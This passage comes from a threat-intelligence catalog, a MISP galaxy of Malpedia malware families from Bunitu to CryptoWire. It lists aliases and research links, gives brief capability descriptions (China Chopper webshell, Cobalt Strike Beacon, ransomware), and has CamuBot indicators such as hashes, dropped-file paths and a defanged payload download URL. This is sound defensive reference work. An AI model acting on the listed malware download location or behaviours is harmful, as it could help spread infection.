https://malpedia.caad.fkie.fraunhofer.de/details/win.bunitu
https://malwarebreakdown.com/2018/03/21/fobos-malvertising-campaign-delivers-bunitu-proxy-trojan-via-rig-ek/
https://zerophagemalware.com/2017/06/07/rig-ek-via-fake-eve-online-website-drops-bunitu/
http://malware-traffic-analysis.net/2017/05/09/index.html
https://broadanalysis.com/2019/04/12/rig-exploit-kit-delivers-bunitu-malware/
https://blog.malwarebytes.com/threat-analysis/2015/07/revisiting-the-bunitu-trojan/
https://blog.malwarebytes.com/threat-analysis/2015/08/whos-behind-your-proxy-uncovering-bunitus-secrets/

Buterat

The tag is: misp-galaxy:malpedia="Buterat"

Buterat is also known as:

spyvoltar

Table 1160. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.buterat
http://antivirnews.blogspot.com/2011/01/backdoorwin32-buteratafj.html

Buzus

The tag is: misp-galaxy:malpedia="Buzus"

Buzus is also known as:

Yimfoca

Table 1161. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.buzus
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm:Win32/Yimfoca.A

BYEBY

The tag is: misp-galaxy:malpedia="BYEBY"

BYEBY is also known as:

Table 1162. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.byeby
https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan

c0d0so0

The tag is: misp-galaxy:malpedia="c0d0so0"

c0d0so0 is also known as:

Table 1163. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.c0d0so0

CabArt

The tag is: misp-galaxy:malpedia="CabArt"

CabArt is also known as:

Table 1164. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cabart

CadelSpy

The tag is: misp-galaxy:malpedia="CadelSpy"

CadelSpy is also known as:

Cadelle

Table 1165. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cadelspy
http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf

CamuBot

There is no lot of IOCs in this article so we take one sample and try to extract some interesting IOCs, our findings below :

CamuBot sample : 37ca2e37e1dc26d6b66ba041ed653dc8ee43e1db71a705df4546449dd7591479

Dropped Files on disk :

C:\Users\user~1\AppData\Local\Temp\protecao.exe : 0af612461174eedec813ce670ba35e74a9433361eacb3ceab6d79232a6fe13c1

C:\Users\user~1\AppData\Local\Temp\Renci.SshNet.dll : 3E3CD9E8D94FC45F811720F5E911B892A17EE00F971E498EAA8B5CAE44A6A8D8

C:\ProgramData\m.msi : AD90D4ADFED0BDCB2E56871B13CC7E857F64C906E2CF3283D30D6CFD24CD2190

Protecao.exe try to download hxxp://www.usb-over-network.com/usb-over-network-64bit.msi

A new driver is installed : C:\Windows\system32\drivers\ftusbload2.sys : 9255E8B64FB278BC5FFE5B8F70D68AF8

ftusbload2.sys set 28 IRP handlers.

The tag is: misp-galaxy:malpedia="CamuBot"

CamuBot is also known as:

Table 1166. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.camubot
https://securityintelligence.com/camubot-new-financial-malware-targets-brazilian-banking-customers/

Cannibal Rat

Cannibal Rat is a python written remote access trojan with 4 versions as of March 2018. The RAT is reported to impact users of a Brazilian public sector management school. The RAT is distributed in a py2exe format, with the python27.dll and the python bytecode stored as a PE resource and the additional libraries zipped in the overlay of the executable.

The tag is: misp-galaxy:malpedia="Cannibal Rat"

Cannibal Rat is also known as:

Table 1167. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cannibal_rat
http://blog.talosintelligence.com/2018/02/cannibalrat-targets-brazil.html

Cannon

The tag is: misp-galaxy:malpedia="Cannon"

Cannon is also known as:

Table 1168. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cannon
https://www.vkremez.com/2018/11/lets-learn-in-depth-on-sofacy-canon.html
https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/

Carbanak

The tag is: misp-galaxy:malpedia="Carbanak"

Carbanak is also known as:

Anunak

Table 1169. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.carbanak
https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-one-a-rare-occurrence.html
https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html
https://www.fox-it.com/en/wp-content/uploads/sites/11/Anunak_APT-against-financial-institutions2.pdf
https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf

Carberp

The tag is: misp-galaxy:malpedia="Carberp"

Carberp is also known as:

Table 1170. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.carberp

Cardinal RAT

The tag is: misp-galaxy:malpedia="Cardinal RAT"

Cardinal RAT is also known as:

Table 1171. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cardinal_rat
http://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/?adbsc=social71702736&adbid=855028404965433346&adbpl=tw&adbpr=4487645412
https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/

CarrotBat

The tag is: misp-galaxy:malpedia="CarrotBat"

CarrotBat is also known as:

Table 1172. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.carrotbat
https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/

Casper

ESET describes Casper as a well-developed reconnaissance tool, making extensive efforts to remain unseen on targeted machines. Of particular note are the specific strategies adopted against anti-malware software. Casper was used against Syrian targets in April 2014, which makes it the most recent malware from this group publicly known at this time.

The tag is: misp-galaxy:malpedia="Casper"

Casper is also known as:

Table 1173. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.casper
https://www.welivesecurity.com/2015/03/05/casper-malware-babar-bunny-another-espionage-cartoon/

Catchamas

The tag is: misp-galaxy:malpedia="Catchamas"

Catchamas is also known as:

Table 1174. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.catchamas
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets

CCleaner Backdoor

The tag is: misp-galaxy:malpedia="CCleaner Backdoor"

CCleaner Backdoor is also known as:

Table 1175. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ccleaner_backdoor
https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities
https://blog.avast.com/additional-information-regarding-the-recent-ccleaner-apt-security-incident
http://www.intezer.com/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/
https://blog.avast.com/avast-threat-labs-analysis-of-ccleaner-incident
http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/
https://blog.avast.com/progress-on-ccleaner-investigation
https://www.wired.com/story/ccleaner-malware-targeted-tech-firms
https://blog.avast.com/update-ccleaner-attackers-entered-via-teamviewer
https://twitter.com/craiu/status/910148928796061696
https://www.crowdstrike.com/blog/protecting-software-supply-chain-deep-insights-ccleaner-backdoor/
http://blog.morphisec.com/morphisec-discovers-ccleaner-backdoor
https://www.crowdstrike.com/blog/in-depth-analysis-of-the-ccleaner-backdoor-stage-2-dropper-and-its-payload/
http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html

CenterPOS

The tag is: misp-galaxy:malpedia="CenterPOS"

CenterPOS is also known as:

cerebrus

Table 1176. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.centerpos
https://www.fireeye.com/blog/threat-research/2016/01/centerpos_an_evolvi.html

Cerber

A prolific ransomware which originally added ".cerber" as a file extension to encrypted files. Has undergone multiple iterations in which the extension has changed. Uses a very readily identifiable set of of UDP activity to checkin and report infections. Primarily uses TOR for payment information.

The tag is: misp-galaxy:malpedia="Cerber"

Cerber is also known as:

Table 1177. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cerber
http://blog.trendmicro.com/trendlabs-security-intelligence/cerber-starts-evading-machine-learning/
https://rinseandrepeatanalysis.blogspot.com/2018/08/reversing-cerber-raas.html
https://blog.malwarebytes.com/threat-analysis/2016/03/cerber-ransomware-new-but-mature/
https://www.virusbulletin.com/virusbulletin/2017/12/vb2017-paper-nine-circles-cerber/

Cerbu

This malware family delivers its artifacts packed with free and generic packers. It writes files to windows temporary folders, downloads additional malware (generally cryptominers) and deletes itself.

The tag is: misp-galaxy:malpedia="Cerbu"

Cerbu is also known as:

Table 1178. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cerbu_miner

Chainshot

The tag is: misp-galaxy:malpedia="Chainshot"

Chainshot is also known as:

Table 1179. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chainshot
https://researchcenter.paloaltonetworks.com/2018/09/unit42-slicing-dicing-cve-2018-5002-payloads-new-chainshot-malware/
https://www.icebrg.io/blog/adobe-flash-zero-day-targeted-attack

ChChes

The tag is: misp-galaxy:malpedia="ChChes"

ChChes is also known as:

Ham Backdoor

Table 1180. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chches
https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html
https://www.jpcert.or.jp/magazine/acreport-ChChes_ps1.html
http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/
https://www.jpcert.or.jp/magazine/acreport-ChChes.html
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf

CherryPicker POS

The tag is: misp-galaxy:malpedia="CherryPicker POS"

CherryPicker POS is also known as:

cherry_picker
cherrypicker
cherrypickerpos

Table 1181. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cherry_picker
https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/
https://www.trustwave.com/Resources/SpiderLabs-Blog/New-Memory-Scraping-Technique-in-Cherry-Picker-PoS-Malware/

ChewBacca

The tag is: misp-galaxy:malpedia="ChewBacca"

ChewBacca is also known as:

Table 1182. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chewbacca
http://vinsula.com/2014/03/01/chewbacca-tor-based-pos-malware/

CHINACHOPPER

a simple code injection webshell that executes Microsoft .NET code within HTTP POST commands. This allows the shell to upload and download files, execute applications with web server account permissions, list directory contents, access Active Directory, access databases, and any other action allowed by the .NET runtime.

The tag is: misp-galaxy:malpedia="CHINACHOPPER"

CHINACHOPPER is also known as:

Table 1183. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chinachopper
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
https://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html
https://attack.mitre.org/software/S0020/

Chinad

Adware that shows advertisements using plugin techniques for popular browsers

The tag is: misp-galaxy:malpedia="Chinad"

Chinad is also known as:

Table 1184. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chinad

Chir

The tag is: misp-galaxy:malpedia="Chir"

Chir is also known as:

Table 1185. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chir

Chthonic

The tag is: misp-galaxy:malpedia="Chthonic"

Chthonic is also known as:

AndroKINS

Table 1186. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chthonic
https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan
https://www.s21sec.com/en/blog/2017/07/androkins/
https://securelist.com/chthonic-a-new-modification-of-zeus/68176/

Citadel

The tag is: misp-galaxy:malpedia="Citadel"

Citadel is also known as:

Table 1187. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.citadel
http://www.xylibox.com/2016/02/citadel-0011-atmos.html
http://blog.jpcert.or.jp/2016/02/banking-trojan—27d6.html
https://blog.malwarebytes.com/threat-analysis/2012/11/citadel-a-cyber-criminals-ultimate-weapon/
https://www.arbornetworks.com/blog/asert/the-citadel-and-gameover-campaigns-of-5cb682c10440b2ebaf9f28c1fe438468/

Client Maximus

The tag is: misp-galaxy:malpedia="Client Maximus"

Client Maximus is also known as:

Table 1188. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.client_maximus
https://securityintelligence.com/client-maximus-new-remote-overlay-malware-highlights-rising-malcode-sophistication-in-brazil/

Cloud Duke

The tag is: misp-galaxy:malpedia="Cloud Duke"

Cloud Duke is also known as:

Table 1189. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cloud_duke
https://www.f-secure.com/weblog/archives/00002822.html

CMSBrute

The tag is: misp-galaxy:malpedia="CMSBrute"

CMSBrute is also known as:

Table 1190. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cmsbrute
https://securelist.com/the-shade-encryptor-a-double-threat/72087/

CMSTAR

The tag is: misp-galaxy:malpedia="CMSTAR"

CMSTAR is also known as:

meciv

Table 1191. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cmstar
https://twitter.com/ClearskySec/status/963829930776723461
https://www.votiro.com/single-post/2018/02/13/New-campaign-targeting-Ukrainians-holds-secrets-in-documents-properties
https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan
https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/

CoalaBot

The tag is: misp-galaxy:malpedia="CoalaBot"

CoalaBot is also known as:

Table 1192. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coalabot
https://malware.dontneedcoffee.com/2017/10/coalabot-http-ddos-bot.html

Cobalt Strike

Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.

The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.

The tag is: misp-galaxy:malpedia="Cobalt Strike"

Cobalt Strike is also known as:

Table 1193. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike
https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks
https://github.com/JPCERTCC/aa-tools/blob/master/cobaltstrikescan.py
https://blogs.jpcert.or.jp/en/2018/08/volatility-plugin-for-detecting-cobalt-strike-beacon.html
https://blog.cobaltstrike.com/
https://www.cobaltstrike.com/support
https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html
http://blog.morphisec.com/new-global-attack-on-point-of-sale-systems
https://www.lac.co.jp/lacwatch/people/20180521_001638.html
https://401trg.com/burning-umbrella/ [https://401trg.com/burning-umbrella/ ]
https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/
https://pylos.co/2018/11/18/cozybear-in-from-the-cold/
http://cyberforensicator.com/2018/12/23/dissecting-cozy-bears-malicious-lnk-file/

Cobian RAT

The tag is: misp-galaxy:malpedia="Cobian RAT"

Cobian RAT is also known as:

Table 1194. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cobian_rat
https://securityaffairs.co/wordpress/62573/malware/cobian-rat-backdoor.html
https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat

CobInt

CobInt, is a self-developed backdoor of the Cobalt group. The modular tool has capabilities to collect initial intelligence information about the compromised machine and stream video from its desktop. If the operator decides that the system is of interest, the backdoor will download and launch CobaltStrike framework stager.

The tag is: misp-galaxy:malpedia="CobInt"

CobInt is also known as:

COOLPANTS

Table 1195. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cobint
https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-part-3-cobint
https://asert.arbornetworks.com/double-the-infection-double-the-fun/
https://www.group-ib.com/blog/renaissance

Cobra Carbon System

The tag is: misp-galaxy:malpedia="Cobra Carbon System"

Cobra Carbon System is also known as:

Carbon

Table 1196. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cobra
https://github.com/hfiref0x/TDL
https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/
https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf
https://blog.gdatasoftware.com/2015/01/23926-analysis-of-project-cobra
https://securelist.com/analysis/publications/65545/the-epic-turla-operation/

CockBlocker

The tag is: misp-galaxy:malpedia="CockBlocker"

CockBlocker is also known as:

Table 1197. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cockblocker
https://twitter.com/JaromirHorejsi/status/817311664391524352

CodeKey

The tag is: misp-galaxy:malpedia="CodeKey"

CodeKey is also known as:

Table 1198. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.codekey
https://www.rsa.com/content/dam/pdfs/2-2017/kingslayer-a-supply-chain-attack.pdf

Cohhoc

The tag is: misp-galaxy:malpedia="Cohhoc"

Cohhoc is also known as:

Table 1199. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cohhoc
https://public.gdatasoftware.com/Presse/Publikationen/Whitepaper/EN/GDATA_TooHash_CaseStudy_102014_EN_v1.pdf

Coinminer

The tag is: misp-galaxy:malpedia="Coinminer"

Coinminer is also known as:

Table 1200. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coinminer
https://blog.malwarebytes.com/threat-analysis/2018/01/a-coin-miner-with-a-heavens-gate/amp/
https://secrary.com/ReversingMalware/CoinMiner/

Colony

The tag is: misp-galaxy:malpedia="Colony"

Colony is also known as:

Bandios
GrayBird

Table 1201. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.colony
https://twitter.com/anyrun_app/status/976385355384590337
https://secrary.com/ReversingMalware/Colony_Bandios/
https://pastebin.com/GtjBXDmz

Combojack

The tag is: misp-galaxy:malpedia="Combojack"

Combojack is also known as:

Table 1202. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.combojack
https://researchcenter.paloaltonetworks.com/2018/03/unit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency/

Combos

The tag is: misp-galaxy:malpedia="Combos"

Combos is also known as:

Table 1203. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.combos
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

ComodoSec

The tag is: misp-galaxy:malpedia="ComodoSec"

ComodoSec is also known as:

Table 1204. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.comodosec
https://techhelplist.com/down/malware-ransom-comodosec-mrcr1.txt

Computrace

The tag is: misp-galaxy:malpedia="Computrace"

Computrace is also known as:

lojack

Table 1205. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.computrace
https://www.lastline.com/labsblog/apt28-rollercoaster-the-lowdown-on-hijacked-lojack/
https://bartblaze.blogspot.de/2014/11/thoughts-on-absolute-computrace.html
https://asert.arbornetworks.com/lojack-becomes-a-double-agent/
https://www.absolute.com/en/resources/faq/absolute-response-to-arbor-lojack-research

ComradeCircle

The tag is: misp-galaxy:malpedia="ComradeCircle"

ComradeCircle is also known as:

Table 1206. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.comrade_circle
https://twitter.com/struppigel/status/816926371867926528

concealment_troy

The tag is: misp-galaxy:malpedia="concealment_troy"

concealment_troy is also known as:

Table 1207. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.concealment_troy
https://www.mcafee.com/enterprise/en-us/assets/white-papers/wp-dissecting-operation-troy.pdf
http://www.malware-reversing.com/2013/04/5-south-korea-incident-new-malware.html

Conficker

The tag is: misp-galaxy:malpedia="Conficker"

Conficker is also known as:

Kido
downadup
traffic converter

Table 1208. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.conficker
https://www.honeynet.org/files/KYE-Conficker.pdf
https://www.sophos.com/fr-fr/medialibrary/PDFs/marketing%20material/confickeranalysis.pdf
http://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html
https://www.kaspersky.com/about/press-releases/2009_kaspersky-lab-analyses-new-version-of-kido—conficker
https://github.com/tillmannw/cnfckr
http://www.confickerworkinggroup.org/wiki/uploads/Conficker_Working_Group_Lessons_Learned_17_June_2010_final.pdf
http://contagiodump.blogspot.com/2009/05/win32conficker.html

Confucius

The tag is: misp-galaxy:malpedia="Confucius"

Confucius is also known as:

Table 1209. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.confucius
https://researchcenter.paloaltonetworks.com/2017/11/unit42-recent-inpage-exploits-lead-multiple-malware-families/
https://researchcenter.paloaltonetworks.com/2016/09/unit42-confucius-says-malware-families-get-further-by-abusing-legitimate-websites/

Contopee

The tag is: misp-galaxy:malpedia="Contopee"

Contopee is also known as:

Table 1210. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.contopee
https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks

CookieBag

The tag is: misp-galaxy:malpedia="CookieBag"

CookieBag is also known as:

Table 1211. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cookiebag
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Corebot

The tag is: misp-galaxy:malpedia="Corebot"

Corebot is also known as:

Table 1212. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.corebot
https://malwarebreakdown.com/2017/09/11/re-details-malspam-downloads-corebot-banking-trojan/
https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/02/ASERT-Threat-Intelligence-Brief-2016-02-Corebot-1.pdf
http://blog.deepinstinct.com/2017/11/08/a-deeper-dive-into-corebots-comeback/

CoreDN

The tag is: misp-galaxy:malpedia="CoreDN"

CoreDN is also known as:

Table 1213. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coredn
https://blog.talosintelligence.com/2019/01/fake-korean-job-posting.html

Coreshell

The tag is: misp-galaxy:malpedia="Coreshell"

Coreshell is also known as:

Table 1214. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coreshell
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf
http://www.malware-reversing.com/2012/12/3-disclosure-of-another-0day-malware.html
http://malware.prevenity.com/2014/08/malware-info.html

CradleCore

The tag is: misp-galaxy:malpedia="CradleCore"

CradleCore is also known as:

Table 1215. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cradlecore
https://blogs.forcepoint.com/security-labs/cradlecore-ransomware-source-code-sale

CrashOverride

The tag is: misp-galaxy:malpedia="CrashOverride"

CrashOverride is also known as:

Crash
Industroyer

Table 1216. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crashoverride
https://www.welivesecurity.com/2017/06/12/industroyer-biggest-threat-industrial-control-systems-since-stuxnet/
https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://www.virusbulletin.com/conference/vb2017/abstracts/last-minute-paper-industroyer-biggest-threat-industrial-control-systems-stuxnet/
https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/

CREAMSICLE

The tag is: misp-galaxy:malpedia="CREAMSICLE"

CREAMSICLE is also known as:

Table 1217. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.creamsicle
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

Credraptor

The tag is: misp-galaxy:malpedia="Credraptor"

Credraptor is also known as:

Table 1218. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.credraptor
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/

Crenufs

The tag is: misp-galaxy:malpedia="Crenufs"

Crenufs is also known as:

Table 1219. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crenufs

Crimson RAT

The tag is: misp-galaxy:malpedia="Crimson RAT"

Crimson RAT is also known as:

SEEDOOR

Table 1220. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crimson
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf
https://s.tencent.com/research/report/669.html
https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF

Crisis (Windows)

The tag is: misp-galaxy:malpedia="Crisis (Windows)"

Crisis (Windows) is also known as:

Table 1221. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crisis
https://www.intego.com/mac-security-blog/new-apple-mac-trojan-called-osxcrisis-discovered-by-intego-virus-team/?
http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html
https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines

Cryakl

The tag is: misp-galaxy:malpedia="Cryakl"

Cryakl is also known as:

Table 1222. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryakl
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj_{Cryakl-B/detailed-analysis.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj}Cryakl-B/detailed-analysis.aspx]
https://www.v3.co.uk/v3-uk/news/3026414/belgian-police-release-decryption-keys-for-cryakl-ransomware
https://hackmag.com/security/ransomware-russian-style/
https://securelist.com/the-return-of-fantomas-or-how-we-deciphered-cryakl/86511/
https://securelist.ru/shifrovalshhik-cryakl-ili-fantomas-razbushevalsya/24070/
https://twitter.com/demonslay335/status/971164798376468481

CryLocker

The tag is: misp-galaxy:malpedia="CryLocker"

CryLocker is also known as:

Table 1223. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crylocker

CrypMic

The tag is: misp-galaxy:malpedia="CrypMic"

CrypMic is also known as:

Table 1224. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crypmic
https://blog.trendmicro.com/trendlabs-security-intelligence/crypmic-ransomware-wants-to-follow-cryptxxx/
https://www.cert.pl/news/single/cryptxxx-crypmic-ransomware-dystrybuowany-ramach-exploit-kitow/

Crypt0l0cker

The tag is: misp-galaxy:malpedia="Crypt0l0cker"

Crypt0l0cker is also known as:

Table 1225. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crypt0l0cker
http://blog.talosintelligence.com/2017/08/first-look-crypt0l0cker.html

CryptoLocker

CryptoLocker is a new sophisticated malware that was launched in the late 2013. It is designed to attack Windows operating system by encrypting all the files from the system using a RSA-2048 public key. To decrypt the mentioned files, the user has to pay a ransom (usually 300 USD/EUR) or 2 BitCoins.

The tag is: misp-galaxy:malpedia="CryptoLocker"

CryptoLocker is also known as:

Table 1226. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptolocker
https://www.justice.gov/opa/pr/us-leads-multi-national-action-against-gameover-zeus-botnet-and-cryptolocker-ransomware
https://www.secureworks.com/research/cryptolocker-ransomware

CryptoLuck

The tag is: misp-galaxy:malpedia="CryptoLuck"

CryptoLuck is also known as:

Table 1227. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoluck
http://www.bleepingcomputer.com/news/security/cryptoluck-ransomware-being-malvertised-via-rig-e-exploit-kits/

CryptoMix

The tag is: misp-galaxy:malpedia="CryptoMix"

CryptoMix is also known as:

CryptFile2

Table 1228. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptomix
https://www.bleepingcomputer.com/news/security/work-cryptomix-ransomware-variant-released/
https://www.cert.pl/en/news/single/technical-analysis-of-cryptomixcryptfile2-ransomware/

Cryptorium

The tag is: misp-galaxy:malpedia="Cryptorium"

Cryptorium is also known as:

Table 1229. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptorium
https://twitter.com/struppigel/status/810770490491043840

CryptoShield

The tag is: misp-galaxy:malpedia="CryptoShield"

CryptoShield is also known as:

Table 1230. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshield
https://www.bleepingcomputer.com/news/security/revenge-ransomware-a-cryptomix-variant-being-distributed-by-rig-exploit-kit/
http://www.broadanalysis.com/2017/03/14/rig-exploit-kit-via-the-eitest-delivers-cryptoshieldrevenge-ransomware/

CryptoShuffler

The tag is: misp-galaxy:malpedia="CryptoShuffler"

CryptoShuffler is also known as:

Table 1231. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshuffler
https://www.bleepingcomputer.com/news/security/cryptoshuffler-stole-150-000-by-replacing-bitcoin-wallet-ids-in-pc-clipboards/

Cryptowall

The tag is: misp-galaxy:malpedia="Cryptowall"

Cryptowall is also known as:

Table 1232. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptowall

CryptoWire

The tag is: misp-galaxy:malpedia="CryptoWire"

